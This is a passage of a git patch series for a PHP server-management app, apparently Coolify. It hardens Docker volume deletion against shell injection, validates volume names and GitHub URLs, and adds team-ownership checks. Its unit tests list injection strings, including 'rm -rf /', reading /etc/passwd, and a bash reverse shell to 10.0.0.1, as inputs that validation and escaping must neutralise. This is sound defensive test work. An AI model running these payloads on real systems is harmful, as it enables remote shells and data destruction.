a/app/Models/StandaloneMariadb.php b/app/Models/StandaloneMariadb.php index 4d4b84776..efa62353c 100644 --- a/app/Models/StandaloneMariadb.php +++ b/app/Models/StandaloneMariadb.php @@ -136,7 +136,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneMongodb.php b/app/Models/StandaloneMongodb.php index b5401dd2c..9418ebc21 100644 --- a/app/Models/StandaloneMongodb.php +++ b/app/Models/StandaloneMongodb.php @@ -141,7 +141,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneMysql.php b/app/Models/StandaloneMysql.php index 0b144575c..2b7e9f2b6 100644 --- a/app/Models/StandaloneMysql.php +++ b/app/Models/StandaloneMysql.php @@ -136,7 +136,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandalonePostgresql.php b/app/Models/StandalonePostgresql.php index 92b2efd31..cea600236 100644 --- a/app/Models/StandalonePostgresql.php +++ b/app/Models/StandalonePostgresql.php @@ -114,7 +114,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Models/StandaloneRedis.php b/app/Models/StandaloneRedis.php index 352d27cfd..0e904ab31 100644 --- a/app/Models/StandaloneRedis.php +++ b/app/Models/StandaloneRedis.php @@ -140,7 +140,7 @@ public function deleteVolumes() } $server = data_get($this, 'destination.server'); foreach ($persistentStorages as $storage) { - instant_remote_process(["docker volume rm -f $storage->name"], $server, false); + instant_remote_process(['docker volume rm -f '.escapeshellarg($storage->name)], $server, false); } } diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 27789b506..7084b4cc2 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -45,6 +45,13 @@ class ValidationPatterns */ public const SHELL_SAFE_COMMAND_PATTERN = '/^[a-zA-Z0-9 \t._\-\/=:@,+\[\]{}#%^~&"]+$/'; + /** + * Pattern for Docker volume names + * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores + * Matches Docker's volume naming rules + */ + public const VOLUME_NAME_PATTERN = '/^[a-zA-Z0-9][a-zA-Z0-9._-]*$/'; + /** * Pattern for Docker container names * Must start with alphanumeric, followed by alphanumeric, dots, hyphens, or underscores @@ -157,6 +164,36 @@ public static function shellSafeCommandRules(int $maxLength = 1000): array return ['nullable', 'string', 'max:'.$maxLength, 'regex:'.self::SHELL_SAFE_COMMAND_PATTERN]; } + /** + * Get validation rules for Docker volume name fields + */ + public static function volumeNameRules(bool $required = true, int $maxLength = 255): array + { + $rules = []; + + if ($required) { + $rules[] = 'required'; + } else { + $rules[] = 'nullable'; + } + + $rules[] = 'string'; + $rules[] = "max:$maxLength"; + $rules[] = 'regex:'.self::VOLUME_NAME_PATTERN; + + return $rules; + } + + /** + * Get validation messages for volume name fields + */ + public static function volumeNameMessages(string $field = 'name'): array + { + return [ + "{$field}.regex" => 'The volume name must start with an alphanumeric character and contain only alphanumeric characters, dots, hyphens, and underscores.', + ]; + } + /** * Get validation rules for container name fields */ diff --git a/tests/Unit/PersistentVolumeSecurityTest.php b/tests/Unit/PersistentVolumeSecurityTest.php new file mode 100644 index 000000000..fdce223d3 --- /dev/null +++ b/tests/Unit/PersistentVolumeSecurityTest.php @@ -0,0 +1,98 @@ +toBe(1); +})->with([ + 'simple name' => 'myvolume', + 'with hyphens' => 'my-volume', + 'with underscores' => 'my_volume', + 'with dots' => 'my.volume', + 'with uuid prefix' => 'abc123-postgres-data', + 'numeric start' => '1volume', + 'complex name' => 'app123-my_service.data-v2', +]); + +it('rejects volume names with shell metacharacters', function (string $name) { + expect(preg_match(ValidationPatterns::VOLUME_NAME_PATTERN, $name))->toBe(0); +})->with([ + 'semicolon injection' => 'vol; rm -rf /', + 'pipe injection' => 'vol | cat /etc/passwd', + 'ampersand injection' => 'vol && whoami', + 'backtick injection' => 'vol`id`', + 'dollar command substitution' => 'vol$(whoami)', + 'redirect injection' => 'vol > /tmp/evil', + 'space in name' => 'my volume', + 'slash in name' => 'my/volume', + 'newline injection' => "vol\nwhoami", + 'starts with hyphen' => '-volume', + 'starts with dot' => '.volume', +]); + +// --- escapeshellarg Defense Tests --- + +it('escapeshellarg neutralizes injection in docker volume rm command', function (string $maliciousName) { + $command = 'docker volume rm -f '.escapeshellarg($maliciousName); + + // The command should contain the name as a single quoted argument, + // preventing shell interpretation of metacharacters + expect($command)->not->toContain('; ') + ->not->toContain('| ') + ->not->toContain('&& ') + ->not->toContain('`') + ->toStartWith('docker volume rm -f '); +})->with([ + 'semicolon' => 'vol; rm -rf /', + 'pipe' => 'vol | cat /etc/passwd', + 'ampersand' => 'vol && whoami', + 'backtick' => 'vol`id`', + 'command substitution' => 'vol$(whoami)', + 'reverse shell' => 'vol$(bash -i >& /dev/tcp/10.0.0.1/8888 0>&1)', +]); + +// --- volumeNameRules Tests --- + +it('generates volumeNameRules with correct defaults', function () { + $rules = ValidationPatterns::volumeNameRules(); + + expect($rules)->toContain('required') + ->toContain('string') + ->toContain('max:255') + ->toContain('regex:'.ValidationPatterns::VOLUME_NAME_PATTERN); +}); + +it('generates nullable volumeNameRules when not required', function () { + $rules = ValidationPatterns::volumeNameRules(required: false); + + expect($rules)->toContain('nullable') + ->not->toContain('required'); +}); + +it('generates correct volumeNameMessages', function () { + $messages = ValidationPatterns::volumeNameMessages(); + + expect($messages)->toHaveKey('name.regex'); +}); + +it('generates volumeNameMessages with custom field name', function () { + $messages = ValidationPatterns::volumeNameMessages('volume_name'); + + expect($messages)->toHaveKey('volume_name.regex'); +}); From f9a9dc80aa85f494aa4fade9efe46d38afe579f1 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 26 Mar 2026 12:17:39 +0100 Subject: [PATCH 31/95] fix(api): add volume name validation to storage API endpoints Apply the same Docker volume name pattern validation to the API create and update storage endpoints for applications, databases, and services controllers. Co-Authored-By: Claude Opus 4.6 --- app/Http/Controllers/Api/ApplicationsController.php | 5 +++-- app/Http/Controllers/Api/DatabasesController.php | 5 +++-- app/Http/Controllers/Api/ServicesController.php | 5 +++-- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/app/Http/Controllers/Api/ApplicationsController.php b/app/Http/Controllers/Api/ApplicationsController.php index b081069b7..ad1f50ea2 100644 --- a/app/Http/Controllers/Api/ApplicationsController.php +++ b/app/Http/Controllers/Api/ApplicationsController.php @@ -20,6 +20,7 @@ use App\Rules\ValidGitBranch; use App\Rules\ValidGitRepositoryUrl; use App\Services\DockerImageParser; +use App\Support\ValidationPatterns; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Http; @@ -4096,7 +4097,7 @@ public function update_storage(Request $request): JsonResponse 'id' => 'integer', 'type' => 'required|string|in:persistent,file', 'is_preview_suffix_enabled' => 'boolean', - 'name' => 'string', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'string', 'host_path' => 'string|nullable', 'content' => 'string|nullable', @@ -4274,7 +4275,7 @@ public function create_storage(Request $request): JsonResponse $validator = customApiValidator($request->all(), [ 'type' => 'required|string|in:persistent,file', - 'name' => 'string', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'required|string', 'host_path' => 'string|nullable', 'content' => 'string|nullable', diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index f9e171eee..660ed4529 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -19,6 +19,7 @@ use App\Models\ScheduledDatabaseBackup; use App\Models\Server; use App\Models\StandalonePostgresql; +use App\Support\ValidationPatterns; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\DB; @@ -3467,7 +3468,7 @@ public function create_storage(Request $request): JsonResponse $validator = customApiValidator($request->all(), [ 'type' => 'required|string|in:persistent,file', - 'name' => 'string', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'required|string', 'host_path' => 'string|nullable', 'content' => 'string|nullable', @@ -3665,7 +3666,7 @@ public function update_storage(Request $request): JsonResponse 'id' => 'integer', 'type' => 'required|string|in:persistent,file', 'is_preview_suffix_enabled' => 'boolean', - 'name' => 'string', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'string', 'host_path' => 'string|nullable', 'content' => 'string|nullable', diff --git a/app/Http/Controllers/Api/ServicesController.php b/app/Http/Controllers/Api/ServicesController.php index 89635875c..fbf4b9e56 100644 --- a/app/Http/Controllers/Api/ServicesController.php +++ b/app/Http/Controllers/Api/ServicesController.php @@ -13,6 +13,7 @@ use App\Models\Project; use App\Models\Server; use App\Models\Service; +use App\Support\ValidationPatterns; use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; @@ -2015,7 +2016,7 @@ public function create_storage(Request $request): JsonResponse $validator = customApiValidator($request->all(), [ 'type' => 'required|string|in:persistent,file', 'resource_uuid' => 'required|string', - 'name' => 'string', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'required|string', 'host_path' => 'string|nullable', 'content' => 'string|nullable', @@ -2224,7 +2225,7 @@ public function update_storage(Request $request): JsonResponse 'id' => 'integer', 'type' => 'required|string|in:persistent,file', 'is_preview_suffix_enabled' => 'boolean', - 'name' => 'string', + 'name' => ['string', 'regex:'.ValidationPatterns::VOLUME_NAME_PATTERN], 'mount_path' => 'string', 'host_path' => 'string|nullable', 'content' => 'string|nullable', From 3e0d48faeaab950bfd063dfca908f1d140316ede Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 26 Mar 2026 13:26:16 +0100 Subject: [PATCH 32/95] refactor: simplify remote process chain and harden ActivityMonitor - Inline PrepareCoolifyTask and CoolifyTaskArgs into remote_process(), removing two single-consumer abstraction layers - Add #[Locked] attribute to ActivityMonitor $activityId property - Add team ownership verification in ActivityMonitor.hydrateActivity() with server_uuid fallback and fail-closed default - Store team_id in activity properties for proper scoping - Update CLAUDE.md to remove stale reference - Add comprehensive tests for activity monitor authorization Co-Authored-By: Claude Opus 4.6 --- CLAUDE.md | 2 +- .../CoolifyTask/PrepareCoolifyTask.php | 54 ------------- app/Data/CoolifyTaskArgs.php | 30 ------- app/Livewire/ActivityMonitor.php | 51 +++++++++--- bootstrap/helpers/remoteProcess.php | 64 +++++++++------ .../views/livewire/activity-monitor.blade.php | 4 +- .../Feature/ActivityMonitorCrossTeamTest.php | 81 +++++++++++++++++-- 7 files changed, 155 insertions(+), 131 deletions(-) delete mode 100644 app/Actions/CoolifyTask/PrepareCoolifyTask.php delete mode 100644 app/Data/CoolifyTaskArgs.php diff --git a/CLAUDE.md b/CLAUDE.md index 99e996756..bb65da405 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -43,7 +43,7 @@ ### Backend Structure (app/) - **Models/** — Eloquent models extending `BaseModel` which provides auto-CUID2 UUID generation. Key models: `Server`, `Application`, `Service`, `Project`, `Environment`, `Team`, plus standalone database models (`StandalonePostgresql`, `StandaloneMysql`, etc.). Common traits: `HasConfiguration`, `HasMetrics`, `HasSafeStringAttribute`, `ClearsGlobalSearchCache`. - **Services/** — Business logic services (ConfigurationGenerator, DockerImageParser, ContainerStatusAggregator, HetznerService, etc.). Use Services for complex orchestration; use Actions for single-purpose domain operations. - **Helpers/** — Global helpers loaded via `bootstrap/includeHelpers.php` from `bootstrap/helpers/` — organized into `shared.php`, `constants.php`, `versions.php`, `subscriptions.php`, `domains.php`, `docker.php`, `services.php`, `github.php`, `proxy.php`, `notifications.php`. -- **Data/** — Spatie Laravel Data DTOs (e.g., `CoolifyTaskArgs`, `ServerMetadata`). +- **Data/** — Spatie Laravel Data DTOs (e.g., `ServerMetadata`). - **Enums/** — PHP enums (TitleCase keys). Key enums: `ProcessStatus`, `Role` (MEMBER/ADMIN/OWNER with rank comparison), `BuildPackTypes`, `ProxyTypes`, `ContainerStatusTypes`. - **Rules/** — Custom validation rules (`ValidGitRepositoryUrl`, `ValidServerIp`, `ValidHostname`, `DockerImageFormat`, etc.). diff --git a/app/Actions/CoolifyTask/PrepareCoolifyTask.php b/app/Actions/CoolifyTask/PrepareCoolifyTask.php deleted file mode 100644 index 3f76a2e3c..000000000 --- a/app/Actions/CoolifyTask/PrepareCoolifyTask.php +++ /dev/null @@ -1,54 +0,0 @@ -remoteProcessArgs = $remoteProcessArgs; - - if ($remoteProcessArgs->model) { - $properties = $remoteProcessArgs->toArray(); - unset($properties['model']); - - $this->activity = activity() - ->withProperties($properties) - ->performedOn($remoteProcessArgs->model) - ->event($remoteProcessArgs->type) - ->log('[]'); - } else { - $this->activity = activity() - ->withProperties($remoteProcessArgs->toArray()) - ->event($remoteProcessArgs->type) - ->log('[]'); - } - } - - public function __invoke(): Activity - { - $job = new CoolifyTask( - activity: $this->activity, - ignore_errors: $this->remoteProcessArgs->ignore_errors, - call_event_on_finish: $this->remoteProcessArgs->call_event_on_finish, - call_event_data: $this->remoteProcessArgs->call_event_data, - ); - dispatch($job); - $this->activity->refresh(); - - return $this->activity; - } -} diff --git a/app/Data/CoolifyTaskArgs.php b/app/Data/CoolifyTaskArgs.php deleted file mode 100644 index 24132157a..000000000 --- a/app/Data/CoolifyTaskArgs.php +++ /dev/null @@ -1,30 +0,0 @@ -status = ProcessStatus::QUEUED->value; - } - } -} diff --git a/app/Livewire/ActivityMonitor.php b/app/Livewire/ActivityMonitor.php index 85ba60c33..665d14ba0 100644 --- a/app/Livewire/ActivityMonitor.php +++ b/app/Livewire/ActivityMonitor.php @@ -2,7 +2,9 @@ namespace App\Livewire; +use App\Models\Server; use App\Models\User; +use Livewire\Attributes\Locked; use Livewire\Component; use Spatie\Activitylog\Models\Activity; @@ -10,6 +12,7 @@ class ActivityMonitor extends Component { public ?string $header = null; + #[Locked] public $activityId = null; public $eventToDispatch = 'activityFinished'; @@ -57,25 +60,47 @@ public function hydrateActivity() $activity = Activity::find($this->activityId); - if ($activity) { - $teamId = data_get($activity, 'properties.team_id'); - if ($teamId && $teamId !== currentTeam()?->id) { + if (! $activity) { + $this->activity = null; + + return; + } + + $currentTeamId = currentTeam()?->id; + + // Check team_id stored directly in activity properties + $activityTeamId = data_get($activity, 'properties.team_id'); + if ($activityTeamId !== null) { + if ((int) $activityTeamId !== (int) $currentTeamId) { $this->activity = null; return; } + + $this->activity = $activity; + + return; + } + + // Fallback: verify ownership via the server that ran the command + $serverUuid = data_get($activity, 'properties.server_uuid'); + if ($serverUuid) { + $server = Server::where('uuid', $serverUuid)->first(); + if ($server && (int) $server->team_id !== (int) $currentTeamId) { + $this->activity = null; + + return; + } + + if ($server) { + $this->activity = $activity; + + return; + } } - $this->activity = $activity; - } - - public function updatedActivityId($value) - { - if ($value) { - $this->hydrateActivity(); - $this->isPollingActive = true; - self::$eventDispatched = false; - } + // Fail closed: no team_id and no server_uuid means we cannot verify ownership + $this->activity = null; } public function polling() diff --git a/bootstrap/helpers/remoteProcess.php b/bootstrap/helpers/remoteProcess.php index f819df380..2544719fc 100644 --- a/bootstrap/helpers/remoteProcess.php +++ b/bootstrap/helpers/remoteProcess.php @@ -1,9 +1,10 @@ teams->pluck('id'); if (! $teams->contains($server->team_id) && ! $teams->contains(0)) { - throw new \Exception('User is not part of the team that owns this server'); + throw new Exception('User is not part of the team that owns this server'); } } SshMultiplexingHelper::ensureMultiplexedConnection($server); - return resolve(PrepareCoolifyTask::class, [ - 'remoteProcessArgs' => new CoolifyTaskArgs( - server_uuid: $server->uuid, - command: $command_string, - type: $type, - type_uuid: $type_uuid, - model: $model, - ignore_errors: $ignore_errors, - call_event_on_finish: $callEventOnFinish, - call_event_data: $callEventData, - ), - ])(); + $properties = [ + 'server_uuid' => $server->uuid, + 'command' => $command_string, + 'type' => $type, + 'type_uuid' => $type_uuid, + 'status' => ProcessStatus::QUEUED->value, + 'team_id' => $server->team_id, + ]; + + $activityLog = activity() + ->withProperties($properties) + ->event($type); + + if ($model) { + $activityLog->performedOn($model); + } + + $activity = $activityLog->log('[]'); + + dispatch(new CoolifyTask( + activity: $activity, + ignore_errors: $ignore_errors, + call_event_on_finish: $callEventOnFinish, + call_event_data: $callEventData, + )); + + $activity->refresh(); + + return $activity; } function instant_scp(string $source, string $dest, Server $server, $throwError = true) { - return \App\Helpers\SshRetryHandler::retry( + return SshRetryHandler::retry( function () use ($source, $dest, $server) { $scp_command = SshMultiplexingHelper::generateScpCommand($server, $source, $dest); $process = Process::timeout(config('constants.ssh.command_timeout'))->run($scp_command); @@ -92,7 +110,7 @@ function instant_remote_process_with_timeout(Collection|array $command, Server $ } $command_string = implode("\n", $command); - return \App\Helpers\SshRetryHandler::retry( + return SshRetryHandler::retry( function () use ($server, $command_string) { $sshCommand = SshMultiplexingHelper::generateSshCommand($server, $command_string); $process = Process::timeout(30)->run($sshCommand); @@ -128,7 +146,7 @@ function instant_remote_process(Collection|array $command, Server $server, bool $command_string = implode("\n", $command); $effectiveTimeout = $timeout ?? config('constants.ssh.command_timeout'); - return \App\Helpers\SshRetryHandler::retry( + return SshRetryHandler::retry( function () use ($server, $command_string, $effectiveTimeout, $disableMultiplexing) { $sshCommand = SshMultiplexingHelper::generateSshCommand($server, $command_string, $disableMultiplexing); $process = Process::timeout($effectiveTimeout)->run($sshCommand); @@ -170,9 +188,9 @@ function excludeCertainErrors(string $errorOutput, ?int $exitCode = null) if ($ignored) { // TODO: Create new exception and disable in sentry - throw new \RuntimeException($errorMessage, $exitCode); + throw new RuntimeException($errorMessage, $exitCode); } - throw new \RuntimeException($errorMessage, $exitCode); + throw new RuntimeException($errorMessage, $exitCode); } function decode_remote_command_output(?ApplicationDeploymentQueue $application_deployment_queue = null, bool $includeAll = false): Collection @@ -194,7 +212,7 @@ function decode_remote_command_output(?ApplicationDeploymentQueue $application_d associative: true, flags: JSON_THROW_ON_ERROR ); - } catch (\JsonException $e) { + } catch (JsonException $e) { // If JSON decoding fails, try to clean up the logs and retry try { // Ensure valid UTF-8 encoding @@ -204,7 +222,7 @@ function decode_remote_command_output(?ApplicationDeploymentQueue $application_d associative: true, flags: JSON_THROW_ON_ERROR ); - } catch (\JsonException $e) { + } catch (JsonException $e) { // If it still fails, return empty collection to prevent crashes return collect([]); } @@ -353,7 +371,7 @@ function checkRequiredCommands(Server $server) } try { instant_remote_process(["docker run --rm --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host bash -c 'apt update && apt install -y {$command}'"], $server); - } catch (\Throwable) { + } catch (Throwable) { break; } $commandFound = instant_remote_process(["docker run --rm --privileged --net=host --pid=host --ipc=host --volume /:/host busybox chroot /host bash -c 'command -v {$command}'"], $server, false); diff --git a/resources/views/livewire/activity-monitor.blade.php b/resources/views/livewire/activity-monitor.blade.php index 386d8622d..290a91857 100644 --- a/resources/views/livewire/activity-monitor.blade.php +++ b/resources/views/livewire/activity-monitor.blade.php @@ -34,10 +34,10 @@ } }" x-init="// Initial scroll $nextTick(() => scrollToBottom()); - + // Add scroll event listener $el.addEventListener('scroll', () => handleScroll()); - + // Set up mutation observer to watch for content changes observer = new MutationObserver(() => { $nextTick(() => scrollToBottom()); diff --git a/tests/Feature/ActivityMonitorCrossTeamTest.php b/tests/Feature/ActivityMonitorCrossTeamTest.php index 7e4aebc2f..9966ac2dd 100644 --- a/tests/Feature/ActivityMonitorCrossTeamTest.php +++ b/tests/Feature/ActivityMonitorCrossTeamTest.php @@ -1,9 +1,11 @@ otherTeam = Team::factory()->create(); }); -test('hydrateActivity blocks access to another teams activity', function () { +test('hydrateActivity blocks access to another teams activity via team_id', function () { $otherActivity = Activity::create([ 'log_name' => 'default', 'description' => 'test activity', @@ -27,12 +29,12 @@ $this->actingAs($this->user); session(['currentTeam' => ['id' => $this->team->id]]); - $component = Livewire::test(ActivityMonitor::class) - ->set('activityId', $otherActivity->id) + Livewire::test(ActivityMonitor::class) + ->call('newMonitorActivity', $otherActivity->id) ->assertSet('activity', null); }); -test('hydrateActivity allows access to own teams activity', function () { +test('hydrateActivity allows access to own teams activity via team_id', function () { $ownActivity = Activity::create([ 'log_name' => 'default', 'description' => 'test activity', @@ -43,13 +45,13 @@ session(['currentTeam' => ['id' => $this->team->id]]); $component = Livewire::test(ActivityMonitor::class) - ->set('activityId', $ownActivity->id); + ->call('newMonitorActivity', $ownActivity->id); expect($component->get('activity'))->not->toBeNull(); expect($component->get('activity')->id)->toBe($ownActivity->id); }); -test('hydrateActivity allows access to activity without team_id in properties', function () { +test('hydrateActivity blocks access to activity without team_id or server_uuid', function () { $legacyActivity = Activity::create([ 'log_name' => 'default', 'description' => 'legacy activity', @@ -59,9 +61,72 @@ $this->actingAs($this->user); session(['currentTeam' => ['id' => $this->team->id]]); + Livewire::test(ActivityMonitor::class) + ->call('newMonitorActivity', $legacyActivity->id) + ->assertSet('activity', null); +}); + +test('hydrateActivity blocks access to activity from another teams server via server_uuid', function () { + $otherServer = Server::factory()->create([ + 'team_id' => $this->otherTeam->id, + ]); + + $otherActivity = Activity::create([ + 'log_name' => 'default', + 'description' => 'test activity', + 'properties' => ['server_uuid' => $otherServer->uuid], + ]); + + $this->actingAs($this->user); + session(['currentTeam' => ['id' => $this->team->id]]); + + Livewire::test(ActivityMonitor::class) + ->call('newMonitorActivity', $otherActivity->id) + ->assertSet('activity', null); +}); + +test('hydrateActivity allows access to activity from own teams server via server_uuid', function () { + $ownServer = Server::factory()->create([ + 'team_id' => $this->team->id, + ]); + + $ownActivity = Activity::create([ + 'log_name' => 'default', + 'description' => 'test activity', + 'properties' => ['server_uuid' => $ownServer->uuid], + ]); + + $this->actingAs($this->user); + session(['currentTeam' => ['id' => $this->team->id]]); + $component = Livewire::test(ActivityMonitor::class) - ->set('activityId', $legacyActivity->id); + ->call('newMonitorActivity', $ownActivity->id); expect($component->get('activity'))->not->toBeNull(); - expect($component->get('activity')->id)->toBe($legacyActivity->id); + expect($component->get('activity')->id)->toBe($ownActivity->id); }); + +test('hydrateActivity returns null for non-existent activity id', function () { + $this->actingAs($this->user); + session(['currentTeam' => ['id' => $this->team->id]]); + + Livewire::test(ActivityMonitor::class) + ->call('newMonitorActivity', 99999) + ->assertSet('activity', null); +}); + +test('activityId property is locked and cannot be set from client', function () { + $otherActivity = Activity::create([ + 'log_name' => 'default', + 'description' => 'test activity', + 'properties' => ['team_id' => $this->otherTeam->id], + ]); + + $this->actingAs($this->user); + session(['currentTeam' => ['id' => $this->team->id]]); + + // Attempting to set a #[Locked] property from the client should throw + Livewire::test(ActivityMonitor::class) + ->set('activityId', $otherActivity->id) + ->assertStatus(500); +})->throws(CannotUpdateLockedPropertyException::class); From 0fce7fa9481aa1bcca06d767075684a11e032c79 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 26 Mar 2026 13:45:33 +0100 Subject: [PATCH 33/95] fix: add URL validation for GitHub source api_url and html_url fields Add SafeExternalUrl validation rule that ensures URLs point to publicly-routable hosts. Apply to all GitHub source entry points (Livewire Create, Livewire Change, API create and update). Co-Authored-By: Claude Opus 4.6 --- app/Http/Controllers/Api/GithubController.php | 21 ++--- app/Livewire/Source/Github/Change.php | 40 ++++----- app/Livewire/Source/Github/Create.php | 5 +- app/Rules/SafeExternalUrl.php | 81 +++++++++++++++++++ tests/Unit/SafeExternalUrlTest.php | 75 +++++++++++++++++ 5 files changed, 193 insertions(+), 29 deletions(-) create mode 100644 app/Rules/SafeExternalUrl.php create mode 100644 tests/Unit/SafeExternalUrlTest.php diff --git a/app/Http/Controllers/Api/GithubController.php b/app/Http/Controllers/Api/GithubController.php index f6a6b3513..9a2cf2b9f 100644 --- a/app/Http/Controllers/Api/GithubController.php +++ b/app/Http/Controllers/Api/GithubController.php @@ -5,6 +5,9 @@ use App\Http\Controllers\Controller; use App\Models\GithubApp; use App\Models\PrivateKey; +use App\Rules\SafeExternalUrl; +use Illuminate\Database\Eloquent\ModelNotFoundException; +use Illuminate\Http\JsonResponse; use Illuminate\Http\Request; use Illuminate\Support\Facades\Http; use Illuminate\Support\Str; @@ -181,7 +184,7 @@ public function create_github_app(Request $request) return invalidTokenResponse(); } $return = validateIncomingRequest($request); - if ($return instanceof \Illuminate\Http\JsonResponse) { + if ($return instanceof JsonResponse) { return $return; } @@ -204,8 +207,8 @@ public function create_github_app(Request $request) $validator = customApiValidator($request->all(), [ 'name' => 'required|string|max:255', 'organization' => 'nullable|string|max:255', - 'api_url' => 'required|string|url', - 'html_url' => 'required|string|url', + 'api_url' => ['required', 'string', 'url', new SafeExternalUrl], + 'html_url' => ['required', 'string', 'url', new SafeExternalUrl], 'custom_user' => 'nullable|string|max:255', 'custom_port' => 'nullable|integer|min:1|max:65535', 'app_id' => 'required|integer', @@ -370,7 +373,7 @@ public function load_repositories($github_app_id) return response()->json([ 'repositories' => $repositories->sortBy('name')->values(), ]); - } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) { + } catch (ModelNotFoundException $e) { return response()->json(['message' => 'GitHub app not found'], 404); } catch (\Throwable $e) { return handleError($e); @@ -472,7 +475,7 @@ public function load_branches($github_app_id, $owner, $repo) return response()->json([ 'branches' => $branches, ]); - } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) { + } catch (ModelNotFoundException $e) { return response()->json(['message' => 'GitHub app not found'], 404); } catch (\Throwable $e) { return handleError($e); @@ -587,10 +590,10 @@ public function update_github_app(Request $request, $github_app_id) $rules['organization'] = 'nullable|string'; } if (isset($payload['api_url'])) { - $rules['api_url'] = 'url'; + $rules['api_url'] = ['url', new SafeExternalUrl]; } if (isset($payload['html_url'])) { - $rules['html_url'] = 'url'; + $rules['html_url'] = ['url', new SafeExternalUrl]; } if (isset($payload['custom_user'])) { $rules['custom_user'] = 'string'; @@ -651,7 +654,7 @@ public function update_github_app(Request $request, $github_app_id) 'message' => 'GitHub app updated successfully', 'data' => $githubApp, ]); - } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) { + } catch (ModelNotFoundException $e) { return response()->json([ 'message' => 'GitHub app not found', ], 404); @@ -736,7 +739,7 @@ public function delete_github_app($github_app_id) return response()->json([ 'message' => 'GitHub app deleted successfully', ]); - } catch (\Illuminate\Database\Eloquent\ModelNotFoundException $e) { + } catch (ModelNotFoundException $e) { return response()->json([ 'message' => 'GitHub app not found', ], 404); diff --git a/app/Livewire/Source/Github/Change.php b/app/Livewire/Source/Github/Change.php index 17323fdec..d6537069c 100644 --- a/app/Livewire/Source/Github/Change.php +++ b/app/Livewire/Source/Github/Change.php @@ -5,6 +5,7 @@ use App\Jobs\GithubAppPermissionJob; use App\Models\GithubApp; use App\Models\PrivateKey; +use App\Rules\SafeExternalUrl; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\Http; use Lcobucci\JWT\Configuration; @@ -71,24 +72,27 @@ class Change extends Component public $privateKeys; - protected $rules = [ - 'name' => 'required|string', - 'organization' => 'nullable|string', - 'apiUrl' => 'required|string', - 'htmlUrl' => 'required|string', - 'customUser' => 'required|string', - 'customPort' => 'required|int', - 'appId' => 'nullable|int', - 'installationId' => 'nullable|int', - 'clientId' => 'nullable|string', - 'clientSecret' => 'nullable|string', - 'webhookSecret' => 'nullable|string', - 'isSystemWide' => 'required|bool', - 'contents' => 'nullable|string', - 'metadata' => 'nullable|string', - 'pullRequests' => 'nullable|string', - 'privateKeyId' => 'nullable|int', - ]; + protected function rules(): array + { + return [ + 'name' => 'required|string', + 'organization' => 'nullable|string', + 'apiUrl' => ['required', 'string', 'url', new SafeExternalUrl], + 'htmlUrl' => ['required', 'string', 'url', new SafeExternalUrl], + 'customUser' => 'required|string', + 'customPort' => 'required|int', + 'appId' => 'nullable|int', + 'installationId' => 'nullable|int', + 'clientId' => 'nullable|string', + 'clientSecret' => 'nullable|string', + 'webhookSecret' => 'nullable|string', + 'isSystemWide' => 'required|bool', + 'contents' => 'nullable|string', + 'metadata' => 'nullable|string', + 'pullRequests' => 'nullable|string', + 'privateKeyId' => 'nullable|int', + ]; + } public function boot() { diff --git a/app/Livewire/Source/Github/Create.php b/app/Livewire/Source/Github/Create.php index 4ece6a92f..ec2ba3f08 100644 --- a/app/Livewire/Source/Github/Create.php +++ b/app/Livewire/Source/Github/Create.php @@ -3,6 +3,7 @@ namespace App\Livewire\Source\Github; use App\Models\GithubApp; +use App\Rules\SafeExternalUrl; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Livewire\Component; @@ -37,8 +38,8 @@ public function createGitHubApp() $this->validate([ 'name' => 'required|string', 'organization' => 'nullable|string', - 'api_url' => 'required|string', - 'html_url' => 'required|string', + 'api_url' => ['required', 'string', 'url', new SafeExternalUrl], + 'html_url' => ['required', 'string', 'url', new 